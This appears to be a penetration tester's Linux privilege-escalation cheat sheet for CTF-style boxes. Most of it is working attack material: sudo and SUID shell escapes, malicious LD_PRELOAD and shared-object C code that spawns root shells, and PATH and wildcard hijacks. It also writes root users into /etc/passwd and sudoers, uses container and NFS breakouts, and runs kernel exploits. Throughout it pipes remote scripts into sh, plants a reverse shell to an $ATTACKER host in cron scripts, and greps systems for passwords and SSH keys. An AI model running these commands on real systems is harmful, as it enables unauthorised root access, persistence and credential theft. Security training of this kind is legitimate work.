My go-to reference for Linux privesc. Every box is different but the checklist is always the same. Run through this methodically and you’ll find the path.
Initial Enumeration
Run these first. Every time. No exceptions.
# Who am I
whoami
id
hostname
# OS info
cat /etc/os-release
uname -a
cat /proc/version
# Sudo rights — THE FIRST THING YOU CHECK
sudo -l
# Users
cat /etc/passwd | grep -v nologin | grep -v false
cat /etc/group
# Network
ip a
ss -tulnp
netstat -tulnp
# Running processes
ps auxf
# Installed packages (look for custom/unusual stuff)
dpkg -l 2>/dev/null
rpm -qa 2>/dev/null
# Mounted filesystems
mount
cat /etc/fstab
# Environment variables
env
cat /etc/profile
cat ~/.bashrc
Tip: ss -tulnp reveals internal services not visible from your nmap scan. Found MySQL, Redis, or something on localhost? That’s your pivot.
Automated Enumeration
# LinPEAS — the GOAT
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
# Or transfer and run
wget http://$ATTACKER:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee linpeas_output.txt
# LinEnum
./linenum.sh -t
# pspy — monitor processes without root (catches cron jobs)
./pspy64
Gotcha: If you can’t transfer files, try base64 encoding or copy-paste. Or just run the manual checks below.
Sudo Abuse
sudo -l
This is the single most important command in Linux privesc. Period.
GTFOBins Patterns
Check every binary against GTFOBins.
# Common sudo wins
sudo vim -c '!sh'
sudo find / -exec /bin/sh \; -quit
sudo awk 'BEGIN {system("/bin/sh")}'
sudo python3 -c 'import os; os.system("/bin/sh")'
sudo perl -e 'exec "/bin/sh";'
sudo less /etc/shadow # then !sh
sudo man man # then !sh
sudo env /bin/sh
sudo nmap --interactive # old versions: !sh
sudo tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/sh
# Editor escapes
sudo vi # :!sh or :set shell=/bin/sh then :shell
sudo nano # Ctrl+R, Ctrl+X, then command
sudo with NOPASSWD and env_keep
# LD_PRELOAD abuse — if env_keep+=LD_PRELOAD in sudo -l
# 1. Write malicious shared object
cat > /tmp/shell.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}
EOF
# 2. Compile
gcc -fPIC -shared -nostartfiles -o /tmp/shell.so /tmp/shell.c
# 3. Run any allowed sudo command with it
sudo LD_PRELOAD=/tmp/shell.so <allowed_program>
sudo with LD_LIBRARY_PATH
# If env_keep+=LD_LIBRARY_PATH
# 1. Find shared libraries the sudo binary uses
ldd /usr/bin/<allowed_program>
# 2. Create malicious library matching one of those names
cat > /tmp/libfoo.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
EOF
gcc -fPIC -shared -o /tmp/libfoo.so /tmp/libfoo.c
sudo LD_LIBRARY_PATH=/tmp <allowed_program>
sudo Versions
sudo --version
- CVE-2021-3156 (Baron Samedit): sudo < 1.9.5p2. Heap overflow → root.
- CVE-2019-14287:
sudo -u#-1 /bin/bashwhen sudoers says(ALL, !root). - CVE-2019-18634: Buffer overflow when
pwfeedbackenabled.
SUID/SGID Binaries
# Find SUID binaries
find / -perm -4000 -type f 2>/dev/null
# Find SGID binaries
find / -perm -2000 -type f 2>/dev/null
# Both
find / -perm -u=s -o -perm -g=s -type f 2>/dev/null
Cross-reference every result with GTFOBins. Focus on anything non-standard.
Common SUID Exploits
# Custom SUID binary calling system() without full path
# Check with:
strings /path/to/suid_binary
ltrace /path/to/suid_binary
strace /path/to/suid_binary
# If it calls something like system("service apache2 start")
# PATH hijack:
echo '/bin/bash -p' > /tmp/service
chmod +x /tmp/service
export PATH=/tmp:$PATH
/path/to/suid_binary
# SUID bash/sh
/bin/bash -p
/bin/sh -p
# SUID cp — overwrite /etc/passwd or /etc/shadow
# Generate password hash:
openssl passwd -1 hacked
# Create modified passwd with root entry
# Copy over with the SUID cp
# SUID find
find . -exec /bin/sh -p \; -quit
# SUID python
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
Gotcha: The -p flag is critical with bash/sh SUID. Without it, bash drops privileges.
Linux Capabilities
# Find binaries with capabilities
getcap -r / 2>/dev/null
Dangerous Capabilities
| Capability | Abuse |
|---|---|
cap_setuid+ep | Set UID to 0. Direct root. |
cap_setgid+ep | Set GID to 0. |
cap_net_raw+ep | Packet sniffing. |
cap_dac_read_search+ep | Read any file. |
cap_dac_override+ep | Write any file. |
cap_net_bind_service+ep | Bind to privileged ports. |
# python3 with cap_setuid
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# perl with cap_setuid
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
# tar with cap_dac_read_search — read /etc/shadow
tar czf /tmp/shadow.tar.gz /etc/shadow
tar xzf /tmp/shadow.tar.gz -C /tmp/
# openssl with cap_setuid
openssl req -engine /tmp/privesc.so # custom engine
Cron Jobs
# System cron
cat /etc/crontab
ls -la /etc/cron*
cat /etc/cron.d/*
# User crons
crontab -l
crontab -l -u root 2>/dev/null
# systemd timers
systemctl list-timers --all
# Watch for processes (pspy is better but this works)
watch -n 1 'ps aux | grep -v watch'
Cron Exploitation
# 1. Script is writable by you → inject reverse shell
echo 'bash -i >& /dev/tcp/$ATTACKER/9001 0>&1' >> /path/to/cron_script.sh
# 2. Script references a writable directory → PATH hijack
# If cron runs: /usr/local/bin/backup.sh which calls "tar" without full path
# And PATH in crontab starts with a writable dir
# 3. Wildcard injection (tar, rsync, chown)
# Cron runs: tar czf /tmp/backup.tar.gz *
# In the working directory:
echo '' > '--checkpoint=1'
echo '' > '--checkpoint-action=exec=sh privesc.sh'
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' > privesc.sh
# 4. Cron script doesn't exist but directory is writable
# Just create it with your payload
Tip: pspy is the real MVP here. Some cron jobs don’t show up in crontab but still run. pspy catches everything.
Writable Files and Directories
# World-writable files
find / -writable -type f 2>/dev/null | grep -v proc
# World-writable directories
find / -writable -type d 2>/dev/null
# Files owned by current user
find / -user $(whoami) -type f 2>/dev/null
# Writable /etc/passwd — instant root
openssl passwd -1 hacked
# Add to /etc/passwd:
echo 'root2:$1$salt$hash:0:0:root:/root:/bin/bash' >> /etc/passwd
su root2
# Writable /etc/shadow — replace root hash
mkpasswd -m sha-512 hacked
# Replace root's hash in /etc/shadow
PATH Hijacking
Works when a privileged script/binary calls another binary without the full path.
# 1. Find the vulnerable call
strings /path/to/suid_binary # look for system calls
strace /path/to/suid_binary 2>&1 | grep exec
# 2. Create malicious binary
echo '/bin/bash -p' > /tmp/targetcmd
chmod +x /tmp/targetcmd
# 3. Prepend to PATH
export PATH=/tmp:$PATH
# 4. Run the vulnerable binary
/path/to/suid_binary
Kernel Exploits
Last resort. Can crash the box. But sometimes it’s the only way.
# Gather info
uname -a
cat /proc/version
cat /etc/os-release
Notable Kernel Exploits
| CVE | Name | Kernel Versions |
|---|---|---|
| CVE-2016-5195 | Dirty COW | < 4.8.3 |
| CVE-2021-4034 | PwnKit (pkexec) | Polkit < 0.120 |
| CVE-2021-3156 | Baron Samedit | sudo < 1.9.5p2 |
| CVE-2022-0847 | Dirty Pipe | 5.8 <= kernel < 5.16.11 |
| CVE-2022-2588 | DirtyCred | kernel < 5.19 |
| CVE-2023-0386 | OverlayFS | kernel < 6.2 |
| CVE-2023-32233 | nf_tables | kernel < 6.4 |
# PwnKit — works on most systems with polkit
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x PwnKit
./PwnKit
# Dirty Pipe
# Download exploit, compile on target or cross-compile
gcc dirty_pipe.c -o dirty_pipe
./dirty_pipe /etc/passwd 1 "${openssl_hash}"
Gotcha: Always try PwnKit first. Works on a surprising number of boxes and doesn’t crash anything.
NFS
# Check for NFS shares
showmount -e $IP
cat /etc/exports
# Look for no_root_squash
cat /etc/exports | grep no_root_squash
no_root_squash Exploitation
# On attacker machine (as root)
mkdir /tmp/nfs
mount -t nfs $IP:/share /tmp/nfs
# Create SUID binary
cat > /tmp/nfs/shell.c << 'EOF'
#include <unistd.h>
int main() {
setuid(0);
setgid(0);
system("/bin/bash -p");
return 0;
}
EOF
gcc /tmp/nfs/shell.c -o /tmp/nfs/shell
chmod u+s /tmp/nfs/shell
# On target — run the SUID binary
/share/shell
Docker / Container Breakout
# Am I in a container?
cat /proc/1/cgroup 2>/dev/null | grep docker
ls -la /.dockerenv
hostname # random hex = probably container
# Docker socket accessible?
ls -la /var/run/docker.sock
# User in docker group? → root
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# Docker socket mount escape
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it alpine chroot /mnt sh
# Privileged container escape
# Check: cat /proc/self/status | grep CapEff
# If 0000003fffffffff — you're privileged
mkdir /tmp/escape && mount -t cgroup -o rdma cgroup /tmp/escape
# Or use CDK tool
LXD/LXC Group
# User in lxd group → root
# On attacker: build alpine image
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder && sudo ./build-alpine
# Transfer to target
lxc image import ./alpine*.tar.gz --alias myimage
lxc init myimage mycontainer -c security.privileged=true
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
lxc start mycontainer
lxc exec mycontainer /bin/sh
# Root filesystem at /mnt/root
Credential Hunting
# History files
cat ~/.bash_history
cat ~/.zsh_history
cat ~/.mysql_history
cat ~/.nano_history
# Config files with passwords
find / -name "*.conf" -o -name "*.config" -o -name "*.cfg" -o -name "*.ini" -o -name "*.env" 2>/dev/null | head -30
grep -ri "password" /etc/ 2>/dev/null
grep -ri "password" /var/www/ 2>/dev/null
grep -ri "password" /opt/ 2>/dev/null
grep -ri "pass\|pwd\|token\|secret\|key" /home/ 2>/dev/null
# SSH keys
find / -name "id_rsa" -o -name "id_ed25519" -o -name "id_ecdsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null
cat /home/*/.ssh/id_rsa 2>/dev/null
# Web app configs
cat /var/www/html/wp-config.php 2>/dev/null
cat /var/www/html/config.php 2>/dev/null
cat /var/www/html/.env 2>/dev/null
# Database credentials
cat /etc/mysql/debian.cnf 2>/dev/null
cat /etc/my.cnf 2>/dev/null
# Password reuse — found a password? Try it for root
su root
Tip: Password reuse is absurdly common. Every password you find, try it for root and every other user on the box.
Miscellaneous
Writable /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
sudo su
cat /var/mail/$(whoami)
cat /var/spool/mail/$(whoami)
Shared Object Injection
# SUID binary loading a missing .so file
strace /path/to/suid_binary 2>&1 | grep "No such file"
# If it tries to load /home/user/.config/libfoo.so
cat > /tmp/privesc.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
setuid(0);
setgid(0);
system("/bin/bash -p");
}
EOF
gcc -shared -fPIC -o /home/user/.config/libfoo.so /tmp/privesc.c
/path/to/suid_binary
Internal Services
# Port forward to access internal services
# SSH local forward
ssh -L 8080:127.0.0.1:8080 user@$IP
# Chisel
# Attacker: chisel server --reverse --port 8001
# Target: chisel client $ATTACKER:8001 R:8080:127.0.0.1:8080
Quick Wins Checklist
sudo -l— always first- SUID binaries → GTFOBins
- Capabilities →
cap_setuidis free root - Cron jobs with writable scripts or wildcard injection
- Writable
/etc/passwd - Kernel version → PwnKit, Dirty Pipe
- Docker/lxd group membership
- Credentials in config files, history, environment
- Internal services on localhost
- NFS with
no_root_squash - SSH keys lying around
- Password reuse everywhere